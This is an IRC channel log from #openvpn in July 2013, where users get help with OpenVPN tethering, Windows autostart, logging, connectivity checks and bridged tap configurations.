09:15 -!- Fixka is now known as Sorcier_FXK
09:15 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
09:15 < ecrist_> for fucks sake, freenode
09:16 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
09:16 -!- You're now known as ecrist
09:17 -!- Netsplit *.net <-> *.split quits: monk, mcp, Scub, lamba, myp, DeVito, qmr, Aketzu, YamakasY_, jave
09:17 -!- wHATEver is now known as myp
09:18 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-beqwgxjpgoygecak] has quit [Ping timeout: 246 seconds]
09:18 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:19 -!- Netsplit over, joins: qmr
09:22 -!- monk [~aknm@196.14.139.96] has joined #openvpn
09:29 -!- ljvb [~jason@us.vps.vanbrecht.com] has quit [Quit: My damn controlling terminal disappeared!]
09:29 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
09:29 < ljvb> hmm
09:29 < ljvb> services went byebye it seems
09:30 < ljvb> as did my screen session..
09:30 < ecrist> forget your CA password again?
09:33 < ljvb> okay.. I deserved that :P
09:34 < ljvb> all my certificate issues are resolved.. I might be convinced to apologize for complaining about ssl-admin if you fix my iphone issue :P if it is even possible.  googling apparently notes taht while ovpn binds to tun, tethering binds to the LTE interface, and ignores the route statements.
09:35 < ecrist> not sure anything can be done about that
09:35  * ljvb wants all traffic to go over tunnel, not just tunnel from phone.. Apple pulled a stupid there
09:35 < ecrist> would require a change in iOS, not the openvpn client
09:35 < ljvb> not without jailbreaking
09:36 < ljvb> was hoping there might be a work around
09:36 < ecrist> have the machine that's tethered connect to the VPN, not the phone
09:36 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-upxyuvqgbfsgxdjm] has joined #openvpn
09:37 -!- Irssi: #openvpn: Total of 188 nicks [7 ops, 0 halfops, 2 voices, 179 normal]
09:38 < ljvb> For my corp phone (the iphone), but a big deal, more a minor annoyance.
09:38 < ljvb> s/but/not
09:38 < ecrist> be glad we got them to allow openvpn at all
09:39 < ljvb> how did we manage that..
09:39 <@plai> ljvb: still better than ANdroid
09:39 <@plai> ljvb: on android VPN simply breaks tehthering
09:39 < ljvb> funny you mention that, that is what I am trying to get working now :)
09:39 -!- plai is now known as plaisthos
09:39 <@plaisthos> !android
09:39 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
09:40 <@plaisthos> see the FAQ :D
09:40 < ljvb> I used to have it working just fine on my S2, not so much on my S4 which I got on Sat
09:41 <@plaisthos> Maybe Samsung fix something/did their own changes to the code
09:42 -!- nkoza [~NKoza@190.244.122.120] has joined #openvpn
09:43 < nkoza> how I can disable the writing of openvpn-status.log ?
09:44 < kisom> nkoza: Read the manual
09:45 < nkoza> I already did, it doesn't says how to disable, only how to configure the path / freq
09:45 < kisom> So just remove that option then
09:45 < phishy> Is there an existing known component/feature to add automatically DNS entries like user.domain.com when a user connects?
09:45 < kisom> Or write to /dev/null, whichever you prefer. Removing the directive is "the right way" tho
09:46 < kisom> phishy: No, but I assume you can do it using a connect script
09:47 < phishy> kisom, cool, thanks
09:52 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has quit [Quit: Computer has gone to sleep.]
09:59 < nkoza> kisom: thanks
09:59 -!- nkoza [~NKoza@190.244.122.120] has left #openvpn ["Client exiting"]
10:04 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:04 -!- monk is now known as Guest14461
10:04 -!- JackSparrow is now known as Guest60193
10:06 -!- ferai is now known as Guest73696
10:06 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
10:08 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has joined #openvpn
10:09 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
10:09 < ljvb> it lives
10:09 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has joined #openvpn
10:09 < ljvb> plaisthos managed to get tethering to work over vpn
10:09 < ljvb> http://forum.xda-developers.com/showpost.php?p=38995065&postcount=29
10:09 <@vpnHelper> Title: xda-developers - View Single Post - Connect Wifi-Tethered Clients to VPN (at forum.xda-developers.com)
10:09 < ljvb> using that post
10:10 < ljvb> I knew it was something simple.. but I am a pf kinda guy.. iptables scares me
10:10 < ljvb> connected via it now
10:11 < ecrist> ljvb: that's android, not iOS
10:11 -!- mode/#openvpn [+o ecrist] by ChanServ
10:11 < ljvb> ecrist I have both :)
10:11 < ljvb> I gave up on my corp phone
10:12 < ljvb> corp phone has official tethering account.. my personal one does not..
10:12  * ljvb pays for data.. I will use it how I please... (waits for Blackhawks with ATT logos to hover on by...)
10:14 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
10:14 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:14 <@ecrist> meh, tmo includes tethering now
10:14 <@ecrist> they never really cared, though
10:14 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:15 < ljvb> I thought about switching to Tmo, but wife gets a good discount through ATT, not so much tmo
10:16 -!- Devastator [~devas@186.214.111.69] has joined #openvpn
10:18 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
10:33 -!- midacts [~john@207.59.77.254] has joined #openvpn
10:33 -!- midacts [~john@207.59.77.254] has quit [Max SendQ exceeded]
10:35 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:36 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:36 -!- midacts [~john@207.59.77.254] has joined #openvpn
10:36 -!- midacts1 [~john@207.59.77.254] has quit [Ping timeout: 276 seconds]
10:39 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
10:39 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 245 seconds]
10:40 -!- Guest14461 [~aknm@196.14.139.96] has quit [Quit: Leaving]
10:45 <@plaisthos> ljvb: yeah but that only works for a rooted telephone unfortunaly
10:50 -!- mattock is now known as mattock_afk
10:52 -!- phishy [~textual@gw-outbound.broadinstitute.org] has joined #openvpn
10:52 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:58 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:02 -!- Aketzu_ is now known as Aketzu
11:04 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has joined #openvpn
11:24 -!- C_S_B is now known as C-S-B
11:29 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
11:30 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
11:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:39 < Muffins> Has anyone gotten OpenVPN client to autostart a connection on windows boot?
11:39 < Muffins> I've gotta site to site configuration up and rockin', but I want it to persist through reboots
11:39 < Muffins> Well... reconnect through reboots >.>
11:39 <+pekster> The howto explains that
11:40 < Muffins> I saw that, but it was saying to drop your .ovpn into the config folder
11:40 < Muffins> and that the service will launch a process for every config file it finds..
11:40 < Muffins> but the directory structure is... different?  In 1.5.6, as I'm not seeing a config directory
11:40 <+pekster> Yup; the service blindly starts them all, which is incidently what many Linux distro's initscripts do too
11:40 <+pekster> Why are you using 1.x?
11:40 < Muffins> Yeah
11:40 < Muffins> 1.5.6 cleint
11:40 <+pekster> Is there a reason you're using decade-old versions?
11:40 < Muffins> Hah
11:41 < Muffins> >.>
11:41 < Muffins> The reason.. I'm doing that.. Is that I just learned it's a decade old :D
11:41 <+pekster> !download
11:41 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:41 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:41 <+pekster> !howto
11:41 < Muffins> Hurray!
11:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:41 < Muffins> tyvm
11:44 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
11:45 -!- backjlack [~quassel@86.121.0.251] has quit [Remote host closed the connection]
11:45 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
11:47 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 256 seconds]
11:49 -!- backjlack [~quassel@86.121.0.251] has quit [Remote host closed the connection]
11:49 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
11:51 -!- backjlack [~quassel@86.121.0.251] has quit [Client Quit]
11:51 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
11:52 <@krzee> Muffins, you'll use the service instead of the gui'
11:53 <@krzee> configurable in services.msc
11:53 < Muffins> I have that setup for autostart, and it's running
11:53 < Muffins> The issue I was having was that I wasn't seeing a config directory
11:53 < Muffins> But I think that's just because I'm using a turbo out-dated version
11:54 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
11:54 <@krzee> ahh =]
11:54 < Muffins> ty though <3
11:54 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Remote host closed the connection]
12:01 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:04 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
12:04 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Read error: Connection reset by peer]
12:05 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
12:05 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
12:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:33 -!- Guest60193 [~death@2001:41d0:1:d4e5:dead::42] has left #openvpn []
12:55 -!- _quadDam1ge is now known as _quadDamage
13:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
13:15 -!- mndo [~mndo@bl16-92-186.dsl.telepac.pt] has quit [Ping timeout: 260 seconds]
13:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:21 -!- mattock_afk is now known as mattock
13:24 -!- phishy [~textual@gw-outbound.broadinstitute.org] has quit [Quit: Computer has gone to sleep.]
13:26 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 256 seconds]
13:28 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
13:28 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
13:30 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Read error: Operation timed out]
13:35 -!- Rallias [~rallias@204.45.7.2] has joined #openvpn
13:37 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
13:40 -!- Guest90913 [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
13:40 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
13:44 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:46 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
13:50 -!- EmLeX [~emx@37.46.193.18] has joined #openvpn
13:52 < Muffins> has anyone had any luck using windows mmc through a site to site vpn with two different windows domains?
13:52 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
13:53 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
13:58 <@krzee> dunno what windows mmc is, but i do have a vpn with active directory working over it
13:58 <@krzee> if that counts for anything
14:03 < Muffins> hmmm
14:04 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:05 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
14:05 <@krzee> over a 600ms link i should add :D
14:05 < Muffins> Oh holy shit
14:05 < Muffins> Hah
14:06 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:08 < Muffins> I think the bigger issue I'm going to have to deal with... Is that it's a different domain >.>  So I will probably need to add the remote domain as a trusted domain for ldap delegation : \
14:08 -!- kantlive- is now known as kantlivelong
14:10 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:11 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
14:12 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Client Quit]
14:12 -!- fischli [~Thunderbi@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:12 <@krzee> Muffins, gotchya, thats windows stuff not openvpn stuff
14:12 <@krzee> the vpn is irrelevant once you're worrying about that stuff
14:12 <@krzee> (so long as it doesnt require layer2 for some reason, but AD shouldnt)
14:13 < Muffins> Yeah... I queried in some other channels, was just curious if anyone here had any experience getting remote server admin stuff working
14:13 < Muffins> but yeah, definitely wrong channel for the question
14:13 < Muffins> >.> Sorry
14:13 <@krzee> gotchya
14:13 <@krzee> no problem, just wanted to make sure you knew to check other channels to
14:13 <@krzee> too*
14:14 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 268 seconds]
14:15 -!- fischli [~Thunderbi@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
14:15 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:17 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
14:22 -!- fischli1 [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:28 -!- fischli1 [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
14:28 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:28 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
14:36 -!- phishy [~textual@gw-outbound.broadinstitute.org] has joined #openvpn
14:45 -!- dazo is now known as dazo_afk
14:59 -!- Rallias is now known as Guest76366
15:00 -!- gffa is now known as Guest24549
15:00 -!- EugeneKay is now known as Guest4811
15:00 -!- backjlack [~quassel@86.121.0.251] has quit [Remote host closed the connection]
15:00 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
15:01 -!- EmLeX [~emx@37.46.193.18] has quit [Changing host]
15:01 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
15:02 -!- backjlack [~quassel@86.121.0.251] has quit [Remote host closed the connection]
15:02 -!- backjlack [~quassel@86.121.0.251] has joined #openvpn
15:03 -!- backjlack [~quassel@86.121.0.251] has quit [Changing host]
15:03 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:03 -!- Guest76366 [~rallias@204.45.7.2] has left #openvpn []
15:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:04 -!- Guest24549 [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has left #openvpn []
15:05 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
15:05 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
15:12 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
15:16 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:17 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
15:18 -!- lamba_ is now known as lamba
15:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
15:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:19 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
15:19 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
15:19 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
15:24 -!- kenyon_ is now known as kenyon
15:26 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
15:27 -!- mattock is now known as mattock_afk
15:36 -!- lamba [~lamba@siology.net] has quit [Changing host]
15:36 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
15:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:40 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
15:47 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
15:47 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has joined #openvpn
15:49 -!- wHATEver [~andrew@91.217.110.30] has joined #openvpn
15:49 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
15:49 -!- oBadAtom_ [~epigramma@badatom.org] has joined #openvpn
15:49 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
15:50 -!- havoc__ [~havoc@neptune.chaillet.net] has joined #openvpn
15:50 -!- zampa_ [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
15:50 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
15:50 -!- Blok_ [~sa@h-219-80.a357.priv.bahnhof.se] has joined #openvpn
15:52 -!- hive-min1 [pranq@mail.bbis.us] has joined #openvpn
15:53 -!- Gasseus [~rallias@204.45.7.2] has joined #openvpn
15:53 -!- mete- [~mete@mete.shell.la] has joined #openvpn
15:53 -!- Netsplit *.net <-> *.split quits: Muffins, mete, trumee, zampa, havoc, Rallias, qmr, hive-mind, oBadAtom, Blok,  (+6 more, use /NETSPLIT to show all of them)
15:53 -!- mete- is now known as mete
15:55 -!- Netsplit over, joins: trumee
15:55 -!- Gasseus is now known as Guest64060
15:55 -!- wHATEver is now known as Guest68177
15:56 -!- havoc__ is now known as havoc
15:58 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
16:00 -!- nikkiheat [~nikkiheat@238.sub-70-208-1.myvzw.com] has joined #openvpn
16:01 -!- krphop_ is now known as krphop
16:04 -!- Denial [~Denial@90.202.26.221] has quit []
16:07 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
16:07 -!- mode/#openvpn [+o plai] by ChanServ
16:07 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
16:08 -!- Guest64060 [~rallias@204.45.7.2] has left #openvpn []
16:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
16:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds]
16:08 -!- nikkiheat [~nikkiheat@238.sub-70-208-1.myvzw.com] has quit [Ping timeout: 240 seconds]
16:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
16:09 -!- mode/#openvpn [+o krzee] by ChanServ
16:14 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
16:16 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
16:17 -!- Netsplit *.net <-> *.split quits: Devastator, BtbN, ScriptFanix, kenyon, Champi, Sorcier_FXK, KiNgMaR, trumee, xBytez, oBadAtom_,  (+1 more, use /NETSPLIT to show all of them)
16:18 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:19 -!- nikkiheat [~nikkiheat@238.sub-70-208-1.myvzw.com] has joined #openvpn
16:20 -!- kenyon_ is now known as kenyon
16:21 -!- phishy [~textual@gw-outbound.broadinstitute.org] has quit [Quit: Computer has gone to sleep.]
16:22 -!- Netsplit over, joins: Devastator
16:23 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
16:23 -!- BtbN [znc@btbn.de] has joined #openvpn
16:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:26 -!- nikkiheat [~nikkiheat@238.sub-70-208-1.myvzw.com] has quit [Read error: Connection reset by peer]
16:27 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 256 seconds]
16:29 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 246 seconds]
16:29 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
16:30 -!- jzaw_ is now known as jzaw
16:30 -!- trumee [~parul@93.186.144.251] has joined #openvpn
16:32 -!- Champi [Champi@rootshell.fr] has joined #openvpn
16:33 -!- Guest4811 [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:33 -!- midacts [~john@207.59.77.254] has joined #openvpn
16:33 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
16:33 -!- EugeneKay is now known as Eugene
16:34 -!- midacts [~john@207.59.77.254] has quit [Max SendQ exceeded]
16:34 -!- mode/#openvpn [+v Eugene] by ChanServ
16:39 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
16:39 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
16:40 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has joined #openvpn
16:41 < TauNeutrino> hey secure guys
16:42 < TauNeutrino> How can I check if a vpn connection is working??
16:43 <@krzee> ping the vpn ip of the other side
16:44 < xTz> or tcpdump on the interface, in case icmp is not allowed
16:45 <@krzee> shouldnt be blocking icmp, ESPECIALLY on the tun interface
16:45 <@krzee> so ya, if you happen to be blocking that, learn how to firewall
16:47 < TauNeutrino> oh ok no it is not blocking. But I can see lots of compress PPP data stuff on the traffic via tcpdump
16:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:51 <@krzee> you need to sniff the tun device
16:51 <@krzee> in which case you'll only see whats going over the vpn
16:51 <@krzee> but really, just ping the vpn ip
16:51 < TauNeutrino> It's on my phone, I don't really know the command for that. But I did -i any
16:52 <@krzee> tcpdump for troubleshooting, not for testing connectivity!
16:52 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
16:52 < TauNeutrino> lol ok
16:54 < TauNeutrino> how can I see that the traffic is encrypted? I there some documentation on this?
16:55 < TauNeutrino> Is* sry
16:56 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
16:58 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Ping timeout: 240 seconds]
16:59 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
17:03 < TauNeutrino> hm ok if I no traffic on the tun0 device...
17:03 < TauNeutrino> -if I
17:06 <@krzee> !logs
17:06 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:07 <@krzee> verb 5
17:15 < TauNeutrino> can you do !logfile ? I can't freaking find it, I found only some status.log file which tells nothing
17:15 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:17 <@krzee> you do it!
17:17 <@krzee> hah
17:18 < TauNeutrino> lol ok :)
17:18 < TauNeutrino> !logfile
17:18 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
17:18 < TauNeutrino> :)
17:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:23 -!- master_of_master [~master_of@p4FF2401A.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
17:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:27 -!- master_of_master [~master_of@p4FD7BD80.dip0.t-ipconnect.de] has joined #openvpn
17:31 < TauNeutrino> hhm maybe it's tcpdumps fault. When sniffing the tun0 device I get this warning: arptype 65534 not supported by libcap - falling back to cooked socket
17:41 -!- Synthead [~max@m922036d0.tmodns.net] has joined #openvpn
17:48 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has quit [Quit: Leaving]
17:52 < TauNeutrino> i'll be back ^^ thx so far
17:52 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has quit [Quit: leaving]
17:57 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
18:02 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
18:03 -!- ppr [~peper@node.piotrj.org] has quit [Quit: Reconnecting]
18:03 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
18:22 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
18:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
18:27 -!- Synthead [~max@m922036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
18:33 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:33 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:47 < Casper> Hi there, anyone here know stuff about the iphone client one? I think it ignore the proxy directive... Does anyone know if the log should say if it try a proxy or not?
19:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:27 -!- n4mu [~n4mu@fsf/member/n4mu] has left #openvpn []
19:37 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:47 -!- peper [~peper@gentoo/developer/peper] has quit [Quit: leaving]
19:48 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
19:50 -!- Poster|w- is now known as Poster|w
19:51 -!- raidz is now known as raidz_away
20:00 <@krzee> !certinfo
20:00 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
20:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:27 <@krzee> Casper, ya it may not have proxy stuff, im not sure? i do know the "openvpn connect" stuff is a full client rewrite, and does not support everything that normal openvpn does
20:27 <@krzee> but if it seems completely ignored on IOS while it works fine on normal clients, then that is why
20:31 < Dar1us> Hi, I have an openvpn bridged tap setup and I can connect and I can see ARP go from server -> client and the client is replying but it is not seen by the server (I am tcpdumping the tap ifaces)
20:35 -!- excalibr_ is now known as excalibr
20:35 -!- excalibr [ubuntu@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has quit [Changing host]
20:35 -!- excalibr [ubuntu@unaffiliated/excalibr] has joined #openvpn
20:46 <@krzee> why using bridged tap?
20:47 < Dar1us> because I want to
20:47 < Dar1us> tools not policy? :-/
20:55 < Dar1us> krzee: anyway, to answer your question: for configuration simplicity and application functionality
20:56 < Dar1us> also, this configuration used to work but doesn't any more.. been a few openvpn versions since I properly tested it tho :)
21:02 <@krzee> im gunna strongly disagree with "config simplicity"
21:02 < Dar1us> my server config is 21 lines long
21:02 < Dar1us> I call that simple
21:03 < Dar1us> the client one is more (but only due to putting the CA key in there)
21:03 <@krzee> but ya, i cant help with your bridge setup but i can help you stop using bridge unless you specifically need some layer2 protocol to the lan behind the server
21:03 <@krzee> !whybridge
21:03 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
21:03 <@krzee> mine is far less than 21 lines long
21:03 < Dar1us> yes, I want layer 2
21:03 <@krzee> and i have never used bridge :D
21:04 <@krzee> i call a 21 line openvpn config large
21:04 < Dar1us> I don't think it could be any shorter
21:04 < Dar1us> http://pastebin.com/F68a3KUL
21:04 <@krzee> what layer2 protocol do you need to the server's lan?
21:05 < Dar1us> client one: http://pastebin.com/0H203z8Y
21:05 <@krzee> im hoping your mssfix setting is the result of testing and not just cause you saw it on $lame_walkthrough
21:05 < Dar1us> well.. it should probably be 1480 or so
21:06 <@krzee> it shouldnt be changed unless you know why
21:06 <@krzee> s/changed/used/
21:06 < Dar1us> it's changed for efficiency
21:06 < Dar1us> otherwise you're asking for extra packet fragmentation
21:06 <@krzee> that was the result of testing?
21:06 < Dar1us> but in any case it won't stop ARP reqs will it, since it's a TCP setting?
21:06 <@krzee> nope, as i said i cant help with bridge setups
21:23 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 276 seconds]
21:25 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
21:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
--- Log closed Wed Jul 10 21:35:09 2013
--- Log opened Wed Jul 10 21:35:26 2013
